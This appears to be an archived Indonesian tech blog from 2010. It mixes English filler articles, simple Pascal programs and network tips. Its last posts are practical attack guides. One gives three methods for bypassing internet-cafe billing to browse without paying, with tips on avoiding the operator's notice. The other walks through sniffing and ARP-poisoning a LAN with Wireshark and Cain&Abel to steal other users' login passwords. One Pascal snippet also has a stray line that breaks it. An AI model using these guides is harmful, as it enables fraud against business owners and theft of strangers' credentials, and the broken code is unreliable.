These stands also offer portability to normally unwieldy desktops. One can move the stand, computer and all, from room to room without much effort and wastage of time unwiring the computer cables and setting them up again in the new location. With computer stands, one just needs to unplug the power supply and move the entire assembly. It is as convenient as that.

These stands are mostly vertical with space at the bottom for the computer cabinet. The desktop level is reserved for the monitor, a keyboard on a shelf that can be extended and retracted and the mouse. The top shelf is designed for the printer and many stands have extra shelves for other storage or devices. Some computer stands house the printer at the bottom along with the cabinet. The reason for this is logical. Certain stands shake a lot when the printer is printing a document. The higher the printer is placed the more the stand will sway. If this is a problem, the printer should be placed below the monitor close to the ground.

For those looking for something a little different, there are some very good looking and durable stands made from modular wood. These computer stands are inexpensive and easy to assemble. In fact, they are called DIY stands. Once assembled, they will almost never have to be disassembled and can be moved around easily as they are on wheels.

Whatever stand one decides on, it should help keep the computer and the place it is used in organized and tidy.

Cara download Video di Youtube

2010-01-30T17:34:00.002-08:00

Anda sedang menonton video / lagu di Youtube, trus kamu pengen memilikinya
(Tanpa harus membuka youtube lagi.... capeeee deeeh). Nah, kamu harus download
Bagaimana caranya...? Ni... Aku kasih Tricks..

Aku buka youtube.com lalu mencari video klip The Beatles - yellow Submarine
(Gpp, walaupun jadul yg penting asiiiik :-))
Lalu akan banyak link ke sana. Aku pilih salah satu...

1. Linknya misalnya http://www.youtube.com/watch?v=DMd8dntfgAg
2. Buka keepvid.com
3. Masukin URL tadi, klik download.
4. Kalo error, ada cara lain
5. di urlnya kamu tambahin "pwn", jadinya kayak gini http://www.pwnyoutube.com/watch?v=DMd8dntfgAg
6. Udah deh, ntar ada link download
7. selesai.... Selamat berdownload ria, awas pulsa / biaya mahal .... ;-)

Email to SMS

2010-01-30T17:34:00.001-08:00

Technology doesn't stand still for a minute and when you take the time to sit down and think about it, it is amazing to think of how far everything has come over the last decade or so. Obviously it hasn't been that long since the internet was invented. Back in 1985 a primitive version of the internet was constructed by the American defence military, one decade later it was available to the world and now most people have email accounts and access to the internet.

The mobile phone was also invested back in the last few decades, although mobile technology was available before this point it was not really available to the general public until the last few decades. Now most people own a mobile phone and use them daily to text each other and communicate with each other.

Over the last few years a strange change in the market has been taking progress and what has happened is that people have decided to opt away from Email to SMS. But the big question is why are so many people opting away from Email to SMS?

Well one of the key reasons so many people are opting away from Email to SMS is because SMS is a much more instantaneous and connected technology. If you send someone an email then there is the chance that they could not read it for days, they may be away from their computer and/or it could get stuck in cyber world somewhere. Most of us have our phones on us all of the time and have them turned on while we are awake. A response to a text message is likely to happen much quicker.

Some of the email companies are starting to fight back, with mobile phones moving in on their markets allow clients to send emails from their phones, email companies are now offering the opportunity to convert Email to SMS. Basically this means that you can set out an email and then through the power of the internet send it to a person's mobile phone through the power of SMS text messaging.

Ultimately we are all winners because although these two alternative technologies are competing against one another for our services, we are the ones who benefit from these companies battling it out for our services and whether you are using email to SMS or SMS to email the winner is communication.

Kutipan : ezinearticles.com

How to Install New Devices on Your Computer

2010-01-30T17:33:00.001-08:00

As a long time computer technician, one thing I've seen that nearly everyone has trouble with is installing a new device to their computer. The device might be a printer, camera, scanner, etc. Here's why. Most of the time, whatever device you are trying to install will have a driver associated with it. That's fine, if it works. The problem is...many times these drivers don't have instructions on how to install them. Or even worse, the instructions are just plain wrong! This is especially true with devices originating in foreign countries. If I owned a company that was selling products primarily in the United States, the first thing I'd do is to get somebody who can speak the Kings English to write the instruction manual.

If the writer uses "ain't" or some other words that might cause English teachers to "cringe," that's no big deal. But I do appreciate it when the writer at least knows enough of the language that I'm not lost before I even get started. Another problem with manuals is that they are sometimes hidden in a text file on the installation CD.

If you are having installation problems, go to the manufacturer's website. There's a good chance that you'll find a software update that either fixes the problem or a FAQ file that will help you to better understanding what you're doing wrong. If you have a manual read it! Even if your device has a printed manual, look on the CD anyway. Many times, a manufacturer will find a bug in the software and will include the fix on the CD. It's expensive to reprint manuals while it costs practically nothing to include the fix on the CD. Of course, the website should have the latest information.

Here are three devices that I see people having trouble with all the time, scanners, digital cameras, and printers. These first two devices use a "twain" driver and this is where the problems usually start. Most of the better scanners and cameras use the USB (Universal Serial Buss) for connecting to the computer. USB ports are "hot swap" ports, meaning they will automatically detect a new device as soon as you plug it in. The problem most people make is to plug in the device before they install the software.

Usually, the software has to be installed before you plug in your device. READ your manual. If this is the case, install the software, then, with your computer up and running, plug the USB cable into your new device (making sure the device is turned on) and then into your computer. A message should appear on the monitor saying something such as, "scanner found" or "camera found." You may even get a message on the monitor before the software is completely installed saying, "plug in your device." Just be sure to follow the instructions and you should be OK.

Printers install in much the same way. Printer/scanner combinations are usually the best choice if you need color printing. If you only need to print text, then a laser will most likely be your best bet.

Another peripheral I'm often asked about is the monitor. There's not much to hooking up a monitor, but once it's connected, you'll probably need to adjust it. Every video card is different and each monitor will display the image a little differently. Adjust the controls on the monitor so that the image covers the complete display area. If you see a black border between your screen image and the edge of the monitor, it's out of adjustment. I've seen 17" monitors that were so far out of whack; they looked more like a 15" monitor.

Don't forget to set your display output from within Windows itself. I usually use 1024 x 768 with 16 bit color, but this will depend on the size and type of monitor you're using.

Installing new devices is easy if you just take the time to read your manual and then follow the directions closely. If you don't have the manual, you might be able to find it if you Google it. Also, check out "YouTube." I've found tutorials there that have been a huge help in both installing and operating new peripheral devices.

The GPS Phone

2010-01-28T15:05:00.001-08:00

GPS phones are an amazing idea that allows people many advantages. One positive aspect is the ability to get directions to where ever you want to go. Not only can you just get directions you can get step by step directions that can get you there and monitor you closely until you reach your final destination.

There have probably been points in your life where you have been lost in your car. And you probably did what most people do and drove around hoping to see something familiar or that you would get back on track somehow. For most people the idea of stopping and asking someone for directions is inconvenient as not only do you have to find a place to stop, you have to hope the person gives you accurate directions, and all of that might be equally unappealing if you have kids in the car. Having GPS on your cell phone can change all of that.

Via Moto and TeleNav both offer location based services. They can get you driving directions that will get you right to the front door of your location. If you are looking for a restaurant or a school, you just type in the address and wait for further instructions. You will receive very specific directions that will navigate you through your travels.

They also provide a service that will give you back up directions. So if you`re driving along and you make a wrong turn or you miss a turn, your GPS phone will simply give you a route to take you back to your original route. It will also give you re-routing instructions if there is construction or a car accident up ahead. These features allow you to stay focused on driving and elevate the stress that can come with driving and finding new places.

GPS cell phones work in two ways; subscription and software. When you subscribe to a company for GPS service you will have to have a second GPS receiver that usually sits on your car dash board. It connects through a wire or can be wireless.

When you use the subscription program you have to pay a company a monthly fee. The fee might be monthly or every couple of months and you might have to sign a contract that locks you in for a certain amount of time. And fees range in price and may increase depending on how often it is used.

If you go with the software package, you can have it put right on to your phone as an added program. In this case there is no contract to sign or monthly fees to pay for.

If you`re looking for a GPS cell phone that can give you directions while you`re on foot, you might be out of luck unless you live in Europe. There you can buy a Nokia phone that has an added accessory to make it a hand held GPS. It will provide a route plan, TomTom, city maps and GPS antenna. A hand held GPS is great for travelers on foot walking through foreign cities or hiking in the woods. Hopefully this service becomes available for travelers outside of Europe.

If you can swing the extra fee that comes with purchasing the software or don`t mind subscribing to GPS, then it might be a great thing to have. There are many perks to it and even if it not used frequently, there will most definitely be a time where it will be needed.

Microsoft Repair Registry

2010-01-28T15:04:00.001-08:00

With adware and spyware programs becoming a perennial threat in the online world, it would be wise to have your PC always protected. There are literally hundreds and hundreds of spyware and adware programs lurking somewhere on the Internet, looking for a chance to get into your PC. Some of them may require that you click into one of their links in order for them to get into your system. But there are other more malicious programs that will actually force their way into your system if you are not that careful.

The information are then sent or sold to advertisers which make good use of them for advertising campaigns that targets specific markets or audience. Usually, Spyware records IP addresses and shopping habits covertly or without the knowledge or consent of users. They do that in a number of ways. Some uses logging keystrokes to get information while some access the documents found in your computer's hard disk. The term spyware first came to use in 1995 but the adoption of its present meaning came five years later. Spyware has been identified as the top security threats to computers using the Microsoft Windows operating systems. And Internet Explorer users were found to be the ones more susceptible to spyware attacks. Because of the popularity of IE and Windows, spyware programs were created to specifically attack and find its way from the internet into IE and into the important parts of the Windows operating system. The threats are real and that's why the anti-spyware industry is flourishing. For every new spyware discovered, an anti-spyware program or update is created. These anti-spyware products usually disable or remove the existing spyware from the user's computer system. Once installed, they also provide protection preventing a variety of spyware programs from installing themselves in your computer. However, there's a need to update these anti-spyware programs regularly. The World Wide Web is a fast pace medium. Everything in there changes quickly and even sporadically. The same goes with spyware. You never know when advertisers, web developers or even the government will come out with newer versions of spyware or adware that have improved ways of accessing your files and personal information. Some spyware program offer an uninstall option together with the program. Most of the time, however, these uninstall options don't work. Some even installs more spyware instead of removing that particular one. So, it is best that you rely on services of anti-spyware programs to fully remove them from your operating system. But while it is good that there are various anti-spyware programs at your disposal, it is better that you prevent the installation of these spyware in the first place. Some of the techniques that you could use are to disable the automatic installations of programs in your internet browsers and to install pop-up blockers.Spyware and adware attaches themselves more frequently on those rather annoying advertising pop-ups. When accessing your email, it is a good practice to ignore mails that came from persons that you do not know or those that contain a vague subject. It is best that you delete these emails without opening them. It is quite cumbersome, but you really need to take time doing these things to make sure that your computers are free from spyware. To Remove the Worse You Need the Best (best free spyware adware removal)Imagine yourself walking along a busy street, minding your own business. You stop by a men's clothing store. You look at the window display, point at a new pair of shoes. After a few minutes of gawking at the window display you move on home.

As you go inside your house, you noticed a flyer on your porch. The flyer is on the exact pair of shoes that you saw in the men's store. How did they know? Was it coincidence? If this all happened in the internet, then it's probably not a coincidence. Your computer has been watched and your "movement" in the Web has been recorded. Your operating system has some spyware in it. Spyware are computer programs that attach themselves in whatever things you download online. They are designed to track you wherever you go online. Spyware is a little different from adware. Adware are also referred to as freeware and are basically ads that pop-up when you open a website or webpage or open a program. Spyware are similar in that they are also freeware, however, spyware programs have embedded tracking programs which reports your activity in the internet to the spyware agent which in turn provides the information to advertisers and web developers. With this information, advertisers and web developers and even the government can feed your computers with any information they want without your consent and even without you noticing it. It is best, therefore that you employ some precautionary measures yourselves to stay free from spyware and adware attacks. First you need to disable auto installation of software programs in your internet browsers and you need use pop-up blockers and firewall protection. This is your first line of defense against such spyware programs. The next thing to do is to get decent anti-spyware programs. It shouldn't be too hard, there are a lot of them nowadays and most of them are free or at the very least have free trial accounts.Among the most popular free anti-spyware and adware programs are Ad Aware and Active Shield. Ad Aware offers advanced protection against Data-mining, Parasites, aggressive advertising, Scumware and some traditional viruses and tracking systems like Trojans, Dialers, Malware and Browser hijackers. Active Shield on the other hand targets trojans and spyware. Other popular anti-spyware software include Spy-Ad Exterminator Free which searches the computer's memory, hard drives, and registry for spyware, adware, worms, hijacks, keyloggers, among others; Spy Cleaner Lite which identifies and removes programs that has been covertly installed in your systems; Spyware Doctor is an advanced adware and spyware removal program; Free Spyware Scanner tells the user how their computer got infected and the best solution for spyware removal; Doctor Alex Antispyware; Spyware Begone; 1-2-3 Spyware Free; and Easy Spyware Scanner.

Most of the time, these anti-spyware scanners and removal utilities will locate spyware and adware in your computer and will delete, ignore, or quarantine each and every one of them. Some anti-spyware programs will remove spyware automatically while other provides a user interface option where you can customize specific actions the anti-spyware would perform. Some other popular spyware removal software includes Anti-Hijacker, Spyware & Adware Removal, Max Secure Spyware Detector, and Deluxe Spy-Kill utilities. These are just some of the more popular spyware removal software. It's up to you which one you choose, but try to look for reputable ones. Look at reviews and ask for referrals from friends.

Does The Windows 7 Registry Still Have Errors And Problems?

2010-01-28T15:03:00.000-08:00

With the new windows operating system coming out some have been hopeful that there might be some changes in the way everything is structured and programmed.

Although very hopeful against by many people, Windows 7 still has a registry. Many thought that this upgrade Microsoft might change it's ways since Apple's OSX and Linux work fine without this giant database called the registry. ActiveX controls are still in this new operating system as well even though thought unnecessary since complicated browser functions can happen without them.

The Windows 7 registry is much better now. It is more evolved but still is the same concept and still prone to the same errors and problems that previous versions of windows had. It is hard to get rid of the registry entirely because older applications which many businesses will expect to be able to use have dependencies in the registry. As time goes on the same problem with the computer having registry errors will cause problems to Windows 7 users.

There are quite a few tweaks for the windows 7 registry, but you should be careful about these at the moment. Some are from the older beta versions of Windows 7. Others are from more recent versions but you can't be certain what it will do to your machine good or bad.

Windows 7 will still have registry cleaners available for it. These will continue to help fix registry errors and problems.

Maybe one day windows won't have a registry to have these problems, but not with this new upcoming release.

Terima Kasih

2010-01-17T05:28:00.002-08:00

Terima Kasih

Kembali ke Halaman Utama

Membuat segitiga pascal

2010-01-17T04:42:00.000-08:00

Misal diinputkan 5
maka akan keluar sebagai berikut
1 1
1 2 1
1 3 3 1
1 4 6 4 1
1 5 10 10 5 1
maka, kodenya adalah................. Jika ada yang ingin bertanya, silahkan berkomentar
var
pascal1,pascal2 : array[1..100] of integer;
i,j,n : integer;
begin
write('masukkan baris maksimum segitiga pascal : '); readln(n);
pascal1[1] := 1;
pascal1[2] := 1;
writeln(pascal1[1],' ',pascal1[2]);
for i := 2 to n do
begin
pascal2[1] := 1;
write(pascal2[1],' ');
for j := 2 to i do
begin
pascal2[j] := pascal1[j] + pascal1[j-1];
write(pascal2[j],' ');
end;

pascal2[i + 1] := 1;
write(pascal2[i + 1],' ');
move(pascal2,pascal1,sizeof(pascal1));
writeln;
end;
readln;
end.

Pascal : Membuat program perpangkatan

2010-01-17T04:41:00.000-08:00

Jika ada yang ingin bertanya, silahkan berkomentar..
var
a,b : integer;
function pangkat(basis,eksp : extended) : extended;
begin
if (eksp = 0) then
begin
pangkat := 1;
end else
pangkat := basis * pangkat(basis,eksp-1);
end;
begin
write('masukkan basis : '); readln(a);
write('masukkan eksponen basis : '); readln(b);
write('hasil : ', pangkat(a,b));
readln;
end.

Pascal : Membuat program FPB

2010-01-17T04:40:00.000-08:00

FPB adalah mencari 2 bilangan dengan pembagi yang terbesar.. inilah kodenya, jika ada yang ingin ditanyakan, silahkan berkomentar..
uses dos;
PBT;
var
c,d : integer;

function FPB(a,b : integer) : integer;
begin
if (b = 0) then
begin
FPB := a;
end else
FPB := FPB(b,a mod b);
end;

begin
write('masukkan nilai pertama : '); readln(c);
write('masukkan nilai kedua : '); readln(d);
writeln('FPB antara ',c,' dan ',d,' adalah ',FPB(c,d));
readln;
end.

Pascal : Menyederhanakan bilangan pembilang dan penyebut

2010-01-17T04:38:00.000-08:00

Langsung aja kodenya, namanya juga tutorial tanpa penjelasan... hihihi..
--------------------------------------------------------------------
uses crt;
var
a,b,hasil,konstanta,c,d : integer;
s : string;

function FPB(a,b : integer): integer;
begin
if (b = 0) then
begin
FPB := a;
end else begin
FPB := FPB(b,a mod b);
end;
end;

begin
clrscr;
write('masukkan nilai ke satu : '); readln(a);
write('masukkan nilai ke dua : '); readln(b);
c := a div FPB(a,b);
d := b div FPB(a,b);
hasil := c div d;
konstanta := c - hasil * d;
if (hasil = 0) then begin
s := '';
writeln(a,'/',b,' dapat disederhanakan menjadi ',s,' ',konstanta,'/',d);
end else begin
writeln(a,'/',b,' dapat disederhanakan menjadi ',hasil,' ',konstanta,'/',d);
end;
readln;
end.
--------------------------------------------------------------------

Tips dan Triks mempercepat jaringan speedy

2010-01-17T03:29:00.000-08:00

Ini lah triknya :
IP Address : 192.168.1.10 adalah nomor jaringan yang dipakai untuk komputer/ PC 10.

Subnet Mask : 255.255.255.240 nah sini letak kuncinya nomor 240 adalah setingan jaringan tertutup yang saya buat untuk set komputer 10 unit saja. Bagaimana klo punya PC lebih dari 10 atau kurang dr 10 unit..? dibawah ini adalah subnet mask untk set jaringan :

Quote:
1-2 unit = 255.255.255.252
3-6 unit = 255.255.255.248
6-14 unit = 255.255.255.240
15-30 unit = 255.255.255.224
31-64 unit = 255.255.255.192

kenapa sih ngak pakai yang standar saja? nomor standar atau jaringan terbuka ;
Jaringan kelas A = 255.0.0.0
Jaringan kelas B = 255.255.0.0
Jaringan kelas C = 255.255.255.0

klo kita pakai jaringan kelas C = 255.255.255.0, nah komputer akan mencari nomor IP Addres dari nomor 1 s/d 255 nomor, sekarang secara logika mana yang lebih cepat mencari 254 unit atau 30 nomor IP Address….? jawabnya tentu 30 nomor IP.
klo yang dicari itu sedikit maka aksesnya akan lebih cepat dan hambatan-hambatan yang timbul juga berkurang dan jika ada Hacker yang ingin masuk ke Jaringan 11 gak bakalan bisa, karena sudah kita tentukan cuma utk 10 unit PC.

Default Gateways : nomor ini digunakan untuk menghubungkan komputer kita ke server, jadi nomor Gateways = nomor IP Address server, kalau untuk server kita jadikan Modem Speedy ini langsung jadi Server dan nomornya adalah 192.168.1.1

Preffered DNS server : Nomor ini kita samakan dengan nomor Gateways (192.168.1.1).

Alternate DNS server : Nomor ini adalah nomor yang ditetapkan telkom (nomor Web Telkom) 202.134.0.155
setelah semuanya kita isi maka kita tinggal klik OK atau keluar dari settingan.

Saran :
1. Jangan buat settingan IP Addres Automatis (sebelumnya saia pake cara ini), karena dengan sistem ini hanya akan mempersulit jaringan untuk mencari nomor IP Addres.
2. Jangan buat nomor IP Address dan Subnet Mask yang melebihi kapasitas komputer yang kita pakai, kalau cuma 10 unit ya pakai aja nomor 1 - 10 dan subnet mask 255.255.255.240
3. Pakai antivirus yang kuat (disarankan yg memiliki Firewall dan Internet Security), karena kalau komputer ber virus atau modemnya juga kena virus apapun triknya dan apapun paketnya, akan tetap lambat karena virus ikut serta jalan-jalan dijalur jaringan kita sehingga jalurnya jadi padat.

Cara Mencek Kecepatan :
1. Ketik di RUN : ping 202.134.0.155 -t
Perhatian tulisan time=130ms atau apalah nomornya yang perlu kita perhatikan semakin kecil nomor yang ditampilkan aksesnya akan semakin cepat tapi kalau sudah nomornya bilangan ribuan 1300 atau 3000 sekian jaringan anda bermasalah atau bahkan sampai sering request time out periksa jaringan anda aman gak dari virus…? kalau benar bervirus, sebaiknya instal ulang aja semua komputer atau format ulang aja, dan instal lagi dengan system yang baru dan pakai antivirus yang kuat.

2. Cara kedua ini dengan cara buka situs hxxp://speedtest.net
kecepatan Download dan Upload dsitu bisa dilihat berapa yang di dapatkan.

Kutipan : http://sanda.blogdetik.com/

Mencurangi Billing Explorer di Warnet

2010-01-17T03:26:00.000-08:00

Membobol Semua Jenis Billing Warnet

Pertidaktanggungjawaban : Artikel ini ditulis untuk menambah pengetahuan tentang keamanan sistem komputer terutama para operator / SysAdmin dari server warnet, penulis tidak bertanggung jawab bila artikel ini digunakan untuk kejahatan apapun bentuknya.tulisan ini dibuat bukan untuk mecuri rejeki orang,tetapi hanya untuk memperluas wawasan para netter indonesia

Cara pertama

Cara ini saya dapetin pas kantong lagi kempes tapi nafsu online lagi tinggi
Setelah muter2 otak sebentar sambil tidur, akhirnya kutemukan cara buat ngakalin billing warnetnya buat ngirit ongkos online.
Kalau cara yang ada di X-Code Magz vol4 itu cuma bisa untuk Billing Explorer(memang bisa, saya sudah membuktikannya)
Cara ini berlaku untuk segala versi billing explorer dan kebanyakan aplikasi billing lainnya. Dan merupakan kelemahan semua billing warnet yang berbasis windows!!!

Penasaran mau tau caranya ? Baca aja sampai habis !
Skali lagi saya ingatkan buat anda yang merasa udah pinter diharapa ga usah baca, kecuali pengen mati kebosanan (niru kata-kata siapa ya?

Ini dia caranya ...
Saat kita mulai menyalakan komputer di warnet yang pertama muncul saat windows dimulai adalah login screen client billing yang menutupi seluruh area windows. Fungsi Alt+Tab dan Ctrl+Alt+Del biasanya ikut-ikutan di-disable untuk memaksa kita login melalui program billing itu.
Sebenarnya saat kita menghadapi login screen itu komputer sudah siap dijalankan. Hanya terhalang oleh screen login yang menyebalkan itu. Naah... udah tau apa yang bakal saya jelasin ? Kalo udah tau, brenti aja bacanya. Daripada mati kebosanan

Yess.. betul sekali. Yang perlu kita lakukan hanyalah menyembunyikan jendela login itu tanpa perlu login. Ada banyak progie buat nyembunyiin window, salah satunya ZHider. Saya hanya akan menjelaskan penggunaan ZHider. Bagi yang menggunakan progie laen silakan baca manualnya, tapi yang perlu diperhatikan adalah progie yang anda gunakan harus bisa show/hide window pake hotkey coz windows kita kan ditutupi sama login screen sialan itu.

Yang harus disiapkan:
1. Program ZHider. Cari sendiri pake om google. Ukurannya kecil kok, ga sampe setengah isi disket.
Aku nemunya pas smp tapi baru sekarang kepake ^^
2. Muka bego
3. Mental yang kuat

Langkah-langkahnya:

01. Masuk warnet dan pasang muka bego biar ga dicurigai operator
02. Pastikan selain box/bilik yang kita tempati masih ada box lain yang kosong. Biar ga dicurigai juga sih.
03. Usahakan cari tempat yang jauh dari op, supaya ga ketahuan box kamu kosong apa nggak.
04. Nyalakan kompi dihadapan anda bila masih dalam keadaan mati.
05. Saat masuk login screen, login aja seperti biasa.
06. Jalankan ZHider yang sudah disiapkan di disket/flashdisk. Kalo belom ada, cari aja pake google.
07. Setelah ZHider dijalankan langsung aja logout.
08. Naah, di login screen ini kita mulai aksi mendebarkan kita. Tekan Ctrl+Alt+Z.. Jreeeng, login screen telah menghilang !!!
09. Browsinglah sepuasnya, tapi tetap pastikan ada box lain yang kosong. Kan aneh kalau ada yang masuk warnet, dia lihat udah penuh. Padahal di billing server kelihatan masih ada yang belum login.
10. Kalo sudah puass tekan Ctrl+Alt+x untuk memunculkan kembali login screen yang menghilang entah kemana
11. Login seperti biasa dan browsing beberapa menit sampai penunjuk tarif sampai ke angka yang kita kehendaki. Ini supaya ga dicurigai.
12. Logout. SIapkan muka bego, lalu bayar tarif.

Cara ini lebih mudah dilalukan bila si operator ga terlalu kenal sama kamu. Apalagi bila si op sering keluyuran.

Ini beberapa hotkey ZHider yang bisa digunakan, untuk hotkey lainnya silakan baca file readme yang disertakan bersama zhider

CTRL+ALT+Z Menyembunyikan jendela aktif
CTRL+ALT+X Menampilkan kembali semua jendela yang disembunyikan
CTRL+ALT+L Menampilkan dialog zhider
CTRL+ALT+M Menampilkan kembali semua jendela yang disembunyikan, dan juga menutup zhider.

Kalo cara di atas ga bisa dilakuin, hentikanlah usahamu. Sesungguhnya perbuatan jahatmu tidak diridhai Tuhan
Kalo ketahuan langsung pertebal "muka bego"-mu. Misalnya bilang "Eh, kok jadi gini ya? Kemaren ga gini kok." Ato kata-kata lain, tergantung kreatifitas anda.

NB : Program ini tidak dapat digunakan untuk warnet2 yang menggunakan GEtBack..

Cara kedua

1.pasang muka culun (ato bego) kek yg diomongkan diatas
2.sediah kopi
3.tentunya rokok
4.nah sekarang yg perlu kalian jalankan adalah
5.cabut kabel lan cardnya ...
6.trus restart komputer kamu
7.jika sudah kluar gambar desktop sebelum gambar billing itu kluar kamu cepetÂ²an tekan alt+del+ctrl dan kamu del yg client 008
gampangkan ?

Cara ketiga

Sering kali kita menjadi lupa waktu bila berada didepan komputeruntuk surfing dan hal ini ngak jadi masalah bila memakai komputer di kantor dengan koneksi broadband atau Dsl. Masalah baru muncul apabila kita surfing di Warnet. Proteksi yang biasa digunakan oleh warnet pada umumnya adalah nag screen atau window yang mengharuskan kita login terlebih dahulu [note:login ini berbeda dengan login start up] karena pada dasarnya komputer sudah dalam keadaan siap pakai hanya terhalang oleh nag screen tersebut, sedangkan koneksi ke internet dalam keadaan stand by. Yang harus dilakukan adalah membypass proteksi tersebut.

Prosedurnya adalah :
Tetap harus login terlebih dahulu agar tidak mencurigakan

Download Wincontrol >> winctrl.exe untuk bypass login screen

Ekstrak wincontrol dan aktifkan
F9 = untuk menghilangkan window pada aktif cursor
F10= untuk mengembalikan window seperti semula
Jalankan timer untuk mengingatkan durasi waktu yang diinginkan
Logout bila telah mencapai biaya yang ditetapkan, biasanya tarif perjam Rp 6.000,-
Setelah logout tekan F9 maka login screen akan menghilang dan kita bisa kembali surfing tanpa biaya. Jangan lupa untuk menonaktifkan wincontrol setelah selesai.

Usahakan agar tidak terlalu menarik perhatian penjaga warnet [ surfing selama 3 jam = Rp 1500 ? ] cari warnet yang mempunyai banyak workstations-nya.

Kutipan :

Cara Ngehack LAN

2010-01-16T21:02:00.000-08:00

Kutipan : yasirmaster.blogspot.com
Cara hacking via LAN (untuk curi pass orang2 yang lagi browsing)

Pertama-tama sorry kalo repost karena teknik ini bukanlah teknik yang fresh di dunia hacking tapi teknik ini belum basi karena sampai saat ini masih dapat digunakan karena sebagian besar jaringan meggunakan jaringan hub & switch yang tidak terenkripsi.
Mengapa tidak terenkripsi?

* Network Admin sebagian besar adalah orang IT yang specialist dalam membuat program, bukan dalam Network Security
* Bila dienkripsi bandwidth yang dibuthkan akan meningkat dan tentu inet yang sudah lemot ini akan semakin lemot dan akhirnya page error
* Harganya tidak murah untuk memperoleh yang terenkripsi

Perbedaan antara jaringan Hub dan Switch:

* Pada jaringan hub semua data yang mengalir di jaringan dapat dilihat/diambil oleh komputer manapun yang ada di jaringan asalakan komputer tersebut merequest data tersebut, kalo tidak direquest ya tidak akan datang.
* Pada jaringan switch hanya komputer yang melakukan pertukaran data yang dapat melihat data tersebut, komputer2 lain tidak berhak merequest data tersebut.

Masalahnya adalah harga dari router hub dan switch tidak berbeda jauh sehingga kebanyakan tempat sekarang sudah menggunakan metode switch yang menyulitkan untuk network hacking.

Hacking ini menggunakan teknik:

* Sniffing
* ARP Poison Routing

Kedua Teknik di atas tidak akan bisa dicegah oleh firewall apapun di komputer korban, dijamin.

Important Note: ARP Poison Routing dapat meyebabkan denial of service (dos) pada salah satu / semua komputer pada network anda

Kelebihan:

* Tidak akan terdeteksi oleh firewall tipe dan seri apapun karena kelemahannya terletak pada sistem jaringan bukan pada komputernya
* Bisa mencuri semua jenis login password yang melalui server HTTP
* Bisa mencuri semua login password orang yang ada di jaringan Hub selama program diaktifkan
* Untuk ARP Poisoning bisa digunakan untuk mencuri password di HTTPS
* Semua programnya free

Kekurangan:

* Untuk jaringan Switch harus di ARP poisoning 1 persatu dan bandwidth anda akan termakan banyak untuk hal itu (kalo inet super cepat ga masalah)
* Ketahuan / tidak oleh admin jaringan di luar tanggung jawab saya

Mulai dari sini anggap bahwa di network dalam kisah ini ada 3 komputer, yaitu:

* Komputer Korban
* Komputer Hacker
* Server

Perbedaan-perbedaan antara jaringan switch dan jaringan hub:
Langkah-langkah pertama:

1. Cek tipe jaringan anda, anda ada di jaringan switch / hub. Jika anda berada di jaringan hub bersyukurlah karena proses hacking anda akan jauh lebih mudah.
2. Download program-program yang dibutuhkan yaitu Wireshark dan Cain&Abel.
Code:

http://www.wireshark.org/download.html
http://www.oxid.it/cain.html

Cara Menggunakan WireShark:

* Jalankan program wireshark
* Tekan tombol Ctrl+k (klik capture lalu option)
* Pastikan isi pada Interfacenya adalah Ethernet Card anda yang menuju ke jaringan, bila bukan ganti dan pastikan pula bahwa “Capture packets in promiscuous mode” on
* Klik tombol start
* Klik tombol stop setelah anda merasa yakin bahwa ada password yang masuk selama anda menekan tombol start
* Anda bisa melihat semua jenis packet yang masuk dan keluar di jaringan (atau pada komputer anda saja jika network anda menggunakan Swtich
* Untuk menganalisis datanya klik kanan pada data yang ingin di analisis lalu klik “Follow TCP Stream” dan selamat menganalisis paketnya (saya tidak akan menjelaskan caranya karena saya tidak bisa )
* Yang jelas dari data itu pasti di dalamnya terdapat informasi2 yang dimasukkan korban ke website dan sebaliknya

Cara di atas hanya berlaku apabila jaringan anda adalah Hub bukan switch
Dari cara di atas anda dapat mengetahui bahwa jaringan anda adalah hub/switch dengan melihat pada kolom IP Source dan IP Destination. Bila pada setiap baris salah satu dari keduanya merupakan ip anda maka dapat dipastikan jaringan anda adalah jaringan switch, bila tidak ya berarti sebaliknya.

Cara Menggunakan Cain&Abel:

* Penggunaan program ini jauh lebih mudah dan simple daripada menggunakan wireshark, tetapi bila anda menginginkan semua packet yang sudah keluar dan masuk disarankan anda menggunakan program wireshark
* Buka program Cain anda
* Klik pada bagian configure
* Pada bagian “Sniffer” pilih ethernet card yang akan anda gunakan
* Pada bagian “HTTP Fields” anda harus menambahkan username fields dan password fields nya apabila yang anda inginkan tidak ada di daftar.
Sebagai contoh saya akan beritahukan bahwa kalo anda mau hack password Friendster anda harus menambahkan di username fields dan passworsd fields kata name, untuk yang lain anda bisa mencarinya dengan menekan klik kanan view source dan anda harus mencari variabel input dari login dan password website tersebut. Yang sudah ada di defaultnya rasanyan sudah cukup lengkap, anda dapat mencuri pass yang ada di klubmentari tanpa menambah apapun.
* Setelah itu apply settingannya dan klik ok
* Di menu utama terdapat 8 tab, dan yang akan dibahas hanya 1 tab yaitu tab “Sniffer” karena itu pilih lah tab tersebut dan jangan pindah2 dari tab tersebut untuk mencegah kebingungan anda sendiri
* Aktifkan Sniffer dengan cara klik tombol sniffer yang ada di atas tab2 tersebut, carilah tombol yang tulisannya “Start/Stop Sniffer”
* Bila anda ada di jaringan hub saat ini anda sudah bisa mengetahui password yang masuk dengan cara klik tab (Kali ini tab yang ada di bawah bukan yang di tengah, yang ditengah sudah tidak usah diklik-klik lagi) “Passwords”
* Anda tinggal memilih password dari koneksi mana yang ingin anda lihat akan sudah terdaftar di sana
* Bila anda ternyata ada di jaringan switch, ini membutuhkan perjuangan lebih, anda harus mengaktifkan APR yang tombolonya ada di sebelah kanan Sniffer (Dan ini tidak dijamin berhasil karena manage dari switch jauh lebih lengkap&secure dari hub)
* Sebelum diaktifkan pada tab sniffer yang bagian bawah pilih APR
* Akan terlihat 2 buah list yang masih kosong, klik list kosong bagian atas kemudian klik tombol “+” (Bentuknya seperti itu) yang ada di jajaran tombol sniffer APR dll
* Akan ada 2 buah field yang berisi semua host yang ada di jaringan anda
* Hubungkan antara alamat ip korban dan alamat ip gateway server (untuk mengetahui alamat gateway server klik start pada komp anda pilih run ketik cmd lalu ketik ipconfig pada command prompt)
* Setelah itu baru aktifkan APR, dan semua data dari komp korban ke server dapat anda lihat dengan cara yang sama.

Anda dapat menjalankan kedua program di atas secara bersamaan (Cain untuk APR dan wireshark untuk packet sniffing) bila ingin hasil yang lebih maksimal.

Password yang bisa anda curi adalah password yang ada di server HTTP (server yang tidak terenkripsi), bila data tersebut ada di server yang terenkripsi maka anda harus mendekripsi data tersebut sebelum memperoleh passwordnya (dan itu akan membutuhkan langkah2 yang jauh lebih panjang dari cara hack ini)

Mencuri Bandwith Melalui Mozila

